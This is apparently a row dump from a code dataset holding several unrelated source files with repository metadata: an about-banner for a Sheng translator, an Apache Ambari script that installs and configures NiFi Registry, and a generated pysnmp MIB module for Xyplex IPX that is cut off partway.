raise TencentCloudSDKException(e.message, e.message) | 42.393476 | 118 | 0.602157 | 6,436 | 83,176 | 7.759478 | 0.066035 | 0.110533 | 0.102984 | 0.116059 | 0.75018 | 0.70873 | 0.635503 | 0.502863 | 0.502863 | 0.502863 | 0 | 0.019635 | 0.297682 | 83,176 | 1,962 | 119 | 42.393476 | 0.835268 | 0.234467 | 0 | 0.836998 | 0 | 0 | 0.107142 | 0.007286 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052312 | false | 0.004549 | 0.003033 | 0 | 0.11069 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09abc4815cc2c95639572a36a9409a7e749ab13f | 3,412 | py | Python | about.py | Krafty-Coder/RuntimeShengTranslator | 024996683d96b446da69c1dfb9ab2c8953533ff1 | [
"MIT"
] | 1 | 2019-01-07T20:38:45.000Z | 2019-01-07T20:38:45.000Z | about.py | Krafty-Coder/RuntimeShengTranslator | 024996683d96b446da69c1dfb9ab2c8953533ff1 | [
"MIT"
] | null | null | null | about.py | Krafty-Coder/RuntimeShengTranslator | 024996683d96b446da69c1dfb9ab2c8953533ff1 | [
"MIT"
] | null | null | null | # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# * RUNTIME SHENG TRANSLATOR - CORE *
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# * Welcome to Runtime Sheng translator. v1.0.0 *
# * MIT License, Copyright(c) 2018, Antony Muga *
# * All Rights Reserved. *
# * Author: Antony Muga *
# ----------------------------------------------------------
# * Project's Links: *
# * Twitter: https://twitter.com/RuntimeClubKe *
# * Runtime Club on LinkedIn *
# * Runtime Club on Github *
# * RuntimeTranslate project on GitHub *
# ----------------------------------------------------------
# * Personal social links: *
# * GitHub: https://github.com/antonymuga/ *
# * Website: https://antonymuga.github.io *
# * LinkedIn: https://www.linkedin.com/in/antony-muga/ *
# * Email: https://sites.google.com/view/antonymuga/home *
# ----------------------------------------------------------
projectDetails = """
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* RUNTIME SHENG TRANSLATOR *
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
* Welcome to Runtime Sheng translator. v1.0.0 *
* MIT License, Copyright(c) 2018, Antony Muga *
* All Rights Reserved. *
* Author: Antony Muga *
----------------------------------------------------------
* Project's Links: *
* TWITTER: https://twitter.com/RuntimeLab *
* LINKEDIN: Runtime Lab *
* GITHUB: RuntimeLab organization *
* GITHUB: Fork RuntimeShengTranslator project *
----------------------------------------------------------
* AUTHOR: ANTONY MUGA *
* Personal social links: *
* GITHUB: https://github.com/antonymuga/ *
* WEBSITE: https://antonymuga.github.io *
* LINKEDIN: https://www.linkedin.com/in/antony-muga/ *
* CONTACT: https://sites.google.com/view/antonymuga/home*
----------------------------------------------------------
"""
signOff = """
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
THANK YOU FOR USING RUNTIME TRANSLATE v1.0.0
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
TWITTER: RuntimeLab
LINKEDIN: Runtime Lab
---------------------------------------------------------------
GITHUB: RuntimeLab organization
FORK ON GITHUB & CONTRIBUTE: RuntimeShengTranslator
---------------------------------------------------------------
AUTHOR: Antony Muga
GITHUB: https://github.com/antonymuga/
LINKEDIN: https://www.linkedin.com/in/antony-muga/
WEBSITE: https://antonymuga.github.io
EMAIL: https://sites.google.com/view/antonymuga/home
---------------------------------------------------------------
Copyright(c) 2018, Antony Muga, RuntimeLab
https://antonymuga.github.io/
---------------------------------------------------------------
"""
| 51.69697 | 65 | 0.356682 | 211 | 3,412 | 5.767773 | 0.270142 | 0.082169 | 0.072309 | 0.075596 | 0.711586 | 0.642564 | 0.642564 | 0.520131 | 0.419063 | 0.419063 | 0 | 0.008656 | 0.28898 | 3,412 | 65 | 66 | 52.492308 | 0.492993 | 0.345545 | 0 | 0.302326 | 0 | 0 | 0.971519 | 0.321881 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09bcc052b03ab047e770671911dcfdbf3d749c58 | 17,471 | py | Python | stacks/XIAOMATECH/1.0/services/NIFI/package/scripts/nifi_registry.py | tvorogme/dataops | acfa21df42a20768c004c6630a064f4e38e280b2 | [
"Apache-2.0"
] | 3 | 2019-08-13T01:44:16.000Z | 2019-12-10T04:05:56.000Z | stacks/XIAOMATECH/1.0/services/NIFI/package/scripts/nifi_registry.py | tvorogme/dataops | acfa21df42a20768c004c6630a064f4e38e280b2 | [
"Apache-2.0"
] | null | null | null | stacks/XIAOMATECH/1.0/services/NIFI/package/scripts/nifi_registry.py | tvorogme/dataops | acfa21df42a20768c004c6630a064f4e38e280b2 | [
"Apache-2.0"
] | 7 | 2019-05-29T17:35:25.000Z | 2021-12-04T07:55:10.000Z | #!/usr/bin/env python
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import nifi_toolkit_util_common, os
from resource_management import *
from resource_management.core import sudo
from resource_management.libraries.resources.modify_properties_file import ModifyPropertiesFile
from resource_management.libraries.functions.constants import Direction
from resource_management.core.exceptions import Fail
from resource_management.libraries.functions.format import format
from resource_management.libraries.script import Script
from resource_management.core.logger import Logger
from resource_management.libraries.resources.properties_file import PropertiesFile
from resource_management.libraries.functions.check_process_status import check_process_status
from resource_management.core.resources.system import Directory, Execute, File
from resource_management.core.source import Template, InlineTemplate
import config_utils
from nifi import install_nifi_toolkit
def install_nifi_registry():
import params
Directory([params.nifi_registry_config_dir],
owner=params.nifi_user,
group=params.nifi_group,
mode=0775,
create_parents=True)
if not os.path.exists(Script.get_stack_root() + '/' + params.registry_version_dir
) or not os.path.exists(params.registry_install_dir):
Execute('rm -rf %s' % Script.get_stack_root() + '/' + params.registry_version_dir)
Execute('rm -rf %s' % params.registry_install_dir)
Execute(
'wget ' + params.registry_download_url + ' -O /tmp/' + params.registry_filename,
user=params.nifi_registry_user)
Execute('tar -zxf /tmp/' + params.registry_filename + ' -C ' + Script.get_stack_root())
Execute('ln -s ' + Script.get_stack_root() + '/' + params.registry_version_dir + ' ' +
params.registry_install_dir)
Execute(' cp -rf ' + params.registry_install_dir + '/conf/* ' +
params.registry_install_dir)
Execute(' rm -rf ' + params.registry_install_dir + '/conf')
Execute('ln -s ' + params.registry_install_dir + ' ' +
params.registry_install_dir + '/conf')
Execute('chown -R %s:%s %s/%s' %
(params.nifi_registry_user, params.nifi_registry_group,
Script.get_stack_root(),params.registry_version_dir))
Execute('chown -R %s:%s %s' %
(params.nifi_registry_user, params.nifi_registry_group,
params.registry_install_dir))
Execute('/bin/rm -f /tmp/' + params.registry_filename)
Execute(
'export JAVA_HOME=' + params.jdk64_home + ';' +
params.nifi_registry_bin_dir + '/nifi-registry.sh install >> ' +
params.nifi_registry_log_file,
user=params.nifi_registry_user)
class Master(Script):
def get_component_name(self):
return "nifi-registry"
def pre_upgrade_restart(self, env, upgrade_type=None):
Logger.info("Executing Stack Upgrade pre-restart")
import params
env.set_params(params)
def install(self, env):
import params
self.install_packages(env)
install_nifi_registry()
install_nifi_toolkit()
# params.nifi_registry_dir,
Directory([params.nifi_registry_log_dir],
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
create_parents=True,
recursive_ownership=True,
cd_access='a')
nifi_toolkit_util_common.copy_toolkit_scripts(
params.toolkit_files_dir,
params.toolkit_tmp_dir,
params.nifi_registry_user,
params.nifi_registry_group,
upgrade_type=None,
service=nifi_toolkit_util_common.NIFI_REGISTRY)
Execute(
'touch ' + params.nifi_registry_log_file,
user=params.nifi_registry_user)
def configure(self, env, is_starting=False):
import params
import status_params
env.set_params(params)
env.set_params(status_params)
# create the log, pid, conf dirs if not already present
nifi_registry_dirs = [
status_params.nifi_registry_pid_dir,
params.nifi_registry_internal_dir,
params.nifi_registry_internal_config_dir,
params.nifi_registry_database_dir, params.nifi_registry_config_dir,
params.nifi_registry_bin_dir, params.nifi_registry_lib_dir,
params.nifi_registry_docs_dir
]
Directory(
nifi_registry_dirs,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
create_parents=True,
recursive_ownership=True,
cd_access='a')
# write configurations
self.write_configurations(params, is_starting)
def stop(self, env, upgrade_type=None):
import params
import status_params
env.set_params(params)
env.set_params(status_params)
Directory([params.nifi_registry_bin_dir],
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
create_parents=True,
recursive_ownership=True,
cd_access='a')
env_content = InlineTemplate(params.nifi_registry_env_content)
File(
format("{params.nifi_registry_bin_dir}/nifi-registry-env.sh"),
content=env_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0755)
Execute(
'export JAVA_HOME=' + params.jdk64_home + ';' +
params.nifi_registry_bin_dir + '/nifi-registry.sh stop >> ' +
params.nifi_registry_log_file,
user=params.nifi_registry_user)
if os.path.isfile(status_params.nifi_registry_pid_file):
sudo.unlink(status_params.nifi_registry_pid_file)
def start(self, env, upgrade_type=None):
import params
import status_params
install_nifi_registry()
install_nifi_toolkit()
nifi_toolkit_util_common.copy_toolkit_scripts(
params.toolkit_files_dir,
params.toolkit_tmp_dir,
params.nifi_registry_user,
params.nifi_registry_group,
upgrade_type=None,
service=nifi_toolkit_util_common.NIFI_REGISTRY)
self.configure(env, is_starting=True)
# setup_ranger_nifi(upgrade_type=None)
Execute(
'export JAVA_HOME=' + params.jdk64_home + ';' +
params.nifi_registry_bin_dir + '/nifi-registry.sh start >> ' +
params.nifi_registry_log_file,
user=params.nifi_registry_user)
# If nifi pid file not created yet, wait a bit
if not os.path.isfile(status_params.nifi_registry_pid_dir +
'/nifi-registry.pid'):
Execute('sleep 5')
def status(self, env):
import status_params
check_process_status(status_params.nifi_registry_pid_file)
def setup_tls_toolkit_upgrade(self, env):
import params
env.set_params(params)
if params.upgrade_direction == Direction.UPGRADE and params.nifi_registry_ssl_enabled and params.nifi_ca_host:
version_file = params.nifi_registry_config_dir + '/config_version'
client_json_file = params.nifi_registry_config_dir + '/nifi-certificate-authority-client.json'
if not sudo.path_isfile(version_file):
Logger.info(
format('Remove config version file if it does not exist'))
sudo.unlink(version_file)
if sudo.path_isfile(client_json_file):
Logger.info(format('Remove client json file'))
sudo.unlink(client_json_file)
def write_configurations(self, params, is_starting):
if os.path.isfile(params.nifi_registry_config_dir + '/bootstrap.conf'):
bootstrap_current_conf = nifi_toolkit_util_common.convert_properties_to_dict(
params.nifi_registry_config_dir + '/bootstrap.conf')
master_key = bootstrap_current_conf[
'nifi.registry.bootstrap.sensitive.key'] if 'nifi.registry.bootstrap.sensitive.key' in bootstrap_current_conf else None
else:
master_key = None
if os.path.isfile(params.nifi_registry_config_dir +
'/nifi-registry.properties'):
nifi_registry_current_properties = nifi_toolkit_util_common.convert_properties_to_dict(
params.nifi_registry_config_dir + '/nifi-registry.properties')
if 'nifi.registry.sensitive.props.key' in nifi_registry_current_properties and \
nifi_registry_current_properties['nifi.registry.sensitive.props.key']:
params.nifi_registry_properties[
'nifi.registry.sensitive.props.key'] = nifi_registry_current_properties[
'nifi.registry.sensitive.props.key']
if 'nifi.registry.sensitive.props.key.protected' in nifi_registry_current_properties and \
nifi_registry_current_properties['nifi.registry.sensitive.props.key.protected']:
params.nifi_registry_properties['nifi.registry.sensitive.props.key.protected'] = \
nifi_registry_current_properties['nifi.registry.sensitive.props.key.protected']
else:
nifi_registry_current_properties = params.nifi_registry_properties
params.nifi_toolkit_tls_regenerate = True
# resolve and populate required security values and hashes
params.nifi_registry_properties = nifi_toolkit_util_common.update_nifi_ssl_properties(
params.nifi_registry_properties, params.nifi_registry_truststore,
params.nifi_registry_truststoreType,
params.nifi_registry_truststorePasswd,
params.nifi_registry_keystore, params.nifi_registry_keystoreType,
params.nifi_registry_keystorePasswd,
params.nifi_registry_keyPasswd,
nifi_toolkit_util_common.NIFI_REGISTRY)
# determine whether new keystore/truststore should be regenerated
run_tls = (params.nifi_ca_host
and params.nifi_registry_ssl_enabled) and (
params.nifi_toolkit_tls_regenerate or
nifi_toolkit_util_common.generate_keystore_truststore(
nifi_registry_current_properties,
params.nifi_registry_properties, master_key,
nifi_toolkit_util_common.NIFI_REGISTRY))
if run_tls:
nifi_toolkit_util_common.move_keystore_truststore(
nifi_registry_current_properties,
nifi_toolkit_util_common.NIFI_REGISTRY)
params.nifi_registry_properties = nifi_toolkit_util_common.create_keystore_truststore(
params.nifi_registry_properties, is_starting,
params.nifi_toolkit_java_options,
params.nifi_registry_config_dir, params.nifi_registry_user,
params.nifi_registry_group,
nifi_toolkit_util_common.NIFI_REGISTRY)
elif not params.nifi_registry_ssl_enabled:
params.nifi_registry_properties = nifi_toolkit_util_common.clean_toolkit_client_files(
nifi_registry_current_properties,
params.nifi_registry_properties,
nifi_toolkit_util_common.NIFI_REGISTRY)
elif params.nifi_registry_ssl_enabled and not run_tls and os.path.isfile(
params.nifi_registry_config_dir + '/nifi-registry.properties'):
params.nifi_registry_properties = nifi_toolkit_util_common.populate_ssl_properties(
nifi_toolkit_util_common.convert_properties_to_dict(
params.nifi_registry_config_dir +
'/nifi-registry.properties'),
params.nifi_registry_properties, params,
nifi_toolkit_util_common.NIFI_REGISTRY)
self.write_files(params)
nifi_toolkit_util_common.encrypt_sensitive_properties(
params.nifi_registry_config_dir, params.jdk64_home,
params.nifi_toolkit_java_options, params.nifi_registry_user,
master_key,
params.nifi_registry_security_encrypt_configuration_password,
is_starting, params.toolkit_tmp_dir, params.stack_version_buildnum,
nifi_toolkit_util_common.NIFI_REGISTRY)
# Apply Hashed Ambari parameters by retrieving new master key and hashing required parameters for Ambari
bootstrap_current_conf = nifi_toolkit_util_common.convert_properties_to_dict(
format("{params.nifi_registry_bootstrap_file}"))
master_key = bootstrap_current_conf[
'nifi.registry.bootstrap.sensitive.key'] if 'nifi.registry.bootstrap.sensitive.key' in bootstrap_current_conf else None
if master_key:
nifi_registry_hashed_params = nifi_toolkit_util_common.update_nifi_ambari_hash_properties(
params.nifi_registry_truststorePasswd,
params.nifi_registry_keystorePasswd,
params.nifi_registry_keyPasswd, master_key,
nifi_toolkit_util_common.NIFI_REGISTRY)
ModifyPropertiesFile(
format(
"{params.nifi_registry_config_dir}/nifi-registry.properties"
),
properties=nifi_registry_hashed_params,
owner=params.nifi_registry_user)
else:
raise Fail(
"Unable to persist ambari hashes due to no master key! Please validate this was written to bootstrap.conf file."
)
def write_files(self, params):
# write out nifi-registry.properties
PropertiesFile(
params.nifi_registry_config_dir + '/nifi-registry.properties',
properties=params.nifi_registry_properties,
mode=0600,
owner=params.nifi_registry_user,
group=params.nifi_registry_group)
# write out boostrap.conf
bootstrap_content = InlineTemplate(
params.nifi_registry_boostrap_content)
File(
format("{params.nifi_registry_bootstrap_file}"),
content=bootstrap_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0600)
# write out logback.xml
logback_content = InlineTemplate(params.nifi_registry_logback_content)
File(
format("{params.nifi_registry_config_dir}/logback.xml"),
content=logback_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0400)
# write out authorizers file
authorizers_content = config_utils.append_xml_content(
params.nifi_registry_authorizers_content,
params.nifi_registry_authorizers_dict)
File(
format("{params.nifi_registry_config_dir}/authorizers.xml"),
content=authorizers_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0600)
# write out identity-providers.xml
identity_providers_content = config_utils.append_xml_content(
params.nifi_registry_identity_providers_content,
params.nifi_registry_identity_providers_dict)
File(
format("{params.nifi_registry_config_dir}/identity-providers.xml"),
content=identity_providers_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0600)
# write out providers file
providers_content = config_utils.append_xml_content(
params.nifi_registry_providers_content,
params.nifi_registry_providers_dict)
File(
format("{params.nifi_registry_config_dir}/providers.xml"),
content=providers_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0400)
# write out nifi-env in bin as 0755 (see BUG-61769)
env_content = InlineTemplate(params.nifi_registry_env_content)
File(
format("{params.nifi_registry_bin_dir}/nifi-registry-env.sh"),
content=env_content,
owner=params.nifi_registry_user,
group=params.nifi_registry_group,
mode=0755)
if __name__ == "__main__":
Master().execute()
| 44.007557 | 135 | 0.668765 | 1,967 | 17,471 | 5.584647 | 0.144891 | 0.190077 | 0.196632 | 0.047792 | 0.664634 | 0.580428 | 0.509058 | 0.469094 | 0.388166 | 0.311425 | 0 | 0.004492 | 0.260947 | 17,471 | 396 | 136 | 44.118687 | 0.846267 | 0.036804 | 0 | 0.418831 | 0 | 0.003247 | 0.103066 | 0.065242 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.022727 | 0.084416 | null | null | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
09c12aff17e5710b77ee83d5533f3cd9c63e1b8c | 14,310 | py | Python | pysnmp/XYPLEX-IPX-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/XYPLEX-IPX-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/XYPLEX-IPX-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module XYPLEX-IPX-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/XYPLEX-IPX-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 21:40:03 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ValueSizeConstraint, SingleValueConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ValueSizeConstraint", "SingleValueConstraint", "ConstraintsUnion", "ConstraintsIntersection")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
Gauge32, TimeTicks, Counter64, iso, Bits, ModuleIdentity, IpAddress, NotificationType, MibScalar, MibTable, MibTableRow, MibTableColumn, Integer32, Counter32, ObjectIdentity, enterprises, Unsigned32, MibIdentifier = mibBuilder.importSymbols("SNMPv2-SMI", "Gauge32", "TimeTicks", "Counter64", "iso", "Bits", "ModuleIdentity", "IpAddress", "NotificationType", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Integer32", "Counter32", "ObjectIdentity", "enterprises", "Unsigned32", "MibIdentifier")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
xyplex = MibIdentifier((1, 3, 6, 1, 4, 1, 33))
ipx = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15))
ipxSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15, 1))
ipxIf = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15, 2))
ipxNetbios = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15, 3))
ipxRip = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15, 4))
ipxSap = MibIdentifier((1, 3, 6, 1, 4, 1, 33, 15, 5))
ipxRouting = MibScalar((1, 3, 6, 1, 4, 1, 33, 15, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disabled", 1), ("enabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxRouting.setStatus('mandatory')
ipxIfTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 2, 1), )
if mibBuilder.loadTexts: ipxIfTable.setStatus('mandatory')
ipxIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxIfIndex"))
if mibBuilder.loadTexts: ipxIfEntry.setStatus('mandatory')
ipxIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfIndex.setStatus('mandatory')
ipxIfState = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disabled", 1), ("enabled", 2))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfState.setStatus('mandatory')
ipxIfNetwork = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 3), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfNetwork.setStatus('mandatory')
ipxIfFrameStyle = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ethernet", 1), ("ieee8022", 2))).clone('ieee8022')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfFrameStyle.setStatus('mandatory')
ipxIfFramesIn = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfFramesIn.setStatus('mandatory')
ipxIfFramesOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfFramesOut.setStatus('mandatory')
ipxIfErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfErrors.setStatus('mandatory')
ipxIfTransitDelay = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 8), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfTransitDelay.setStatus('mandatory')
ipxIfTransitDelayActual = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 2, 1, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfTransitDelayActual.setStatus('mandatory')
ipxNetbiosHopLimit = MibScalar((1, 3, 6, 1, 4, 1, 33, 15, 3, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxNetbiosHopLimit.setStatus('mandatory')
ipxNetbiosIfTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 3, 2), )
if mibBuilder.loadTexts: ipxNetbiosIfTable.setStatus('mandatory')
ipxNetbiosIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 3, 2, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxNetbiosIfIndex"))
if mibBuilder.loadTexts: ipxNetbiosIfEntry.setStatus('mandatory')
ipxNetbiosIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 3, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxNetbiosIfIndex.setStatus('mandatory')
ipxIfNetbiosForwarding = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 3, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disabled", 1), ("enabled", 2))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfNetbiosForwarding.setStatus('mandatory')
ipxIfNetbiosIn = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 3, 2, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfNetbiosIn.setStatus('mandatory')
ipxIfNetbiosOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 3, 2, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfNetbiosOut.setStatus('mandatory')
ipxRipIfTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 4, 1), )
if mibBuilder.loadTexts: ipxRipIfTable.setStatus('mandatory')
ipxRipIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxRipIfIndex"))
if mibBuilder.loadTexts: ipxRipIfEntry.setStatus('mandatory')
ipxRipIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipIfIndex.setStatus('mandatory')
ipxIfRipBcst = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disabled", 1), ("enabled", 2))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfRipBcst.setStatus('mandatory')
ipxIfRipBcstDiscardTimeout = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 3), Integer32().clone(180)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfRipBcstDiscardTimeout.setStatus('mandatory')
ipxIfRipBcstTimer = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 4), Integer32().clone(60)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ipxIfRipBcstTimer.setStatus('mandatory')
ipxIfRipIn = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfRipIn.setStatus('mandatory')
ipxIfRipOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfRipOut.setStatus('mandatory')
ipxIfRipAgedOut = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 1, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxIfRipAgedOut.setStatus('mandatory')
ipxRipTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 4, 2), )
if mibBuilder.loadTexts: ipxRipTable.setStatus('mandatory')
ipxRipEntry = MibTableRow((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1), ).setIndexNames((0, "XYPLEX-IPX-MIB", "ipxRipNetwork"))
if mibBuilder.loadTexts: ipxRipEntry.setStatus('mandatory')
ipxRipNetwork = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipNetwork.setStatus('mandatory')
ipxRipRouter = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(6, 6)).setFixedLength(6)).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipRouter.setStatus('mandatory')
ipxRipInterface = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipInterface.setStatus('mandatory')
ipxRipHops = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipHops.setStatus('mandatory')
ipxRipTransTime = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipTransTime.setStatus('mandatory')
ipxRipAge = MibTableColumn((1, 3, 6, 1, 4, 1, 33, 15, 4, 2, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ipxRipAge.setStatus('mandatory')
ipxSapIfTable = MibTable((1, 3, 6, 1, 4, 1, 33, 15, 5, 1), )
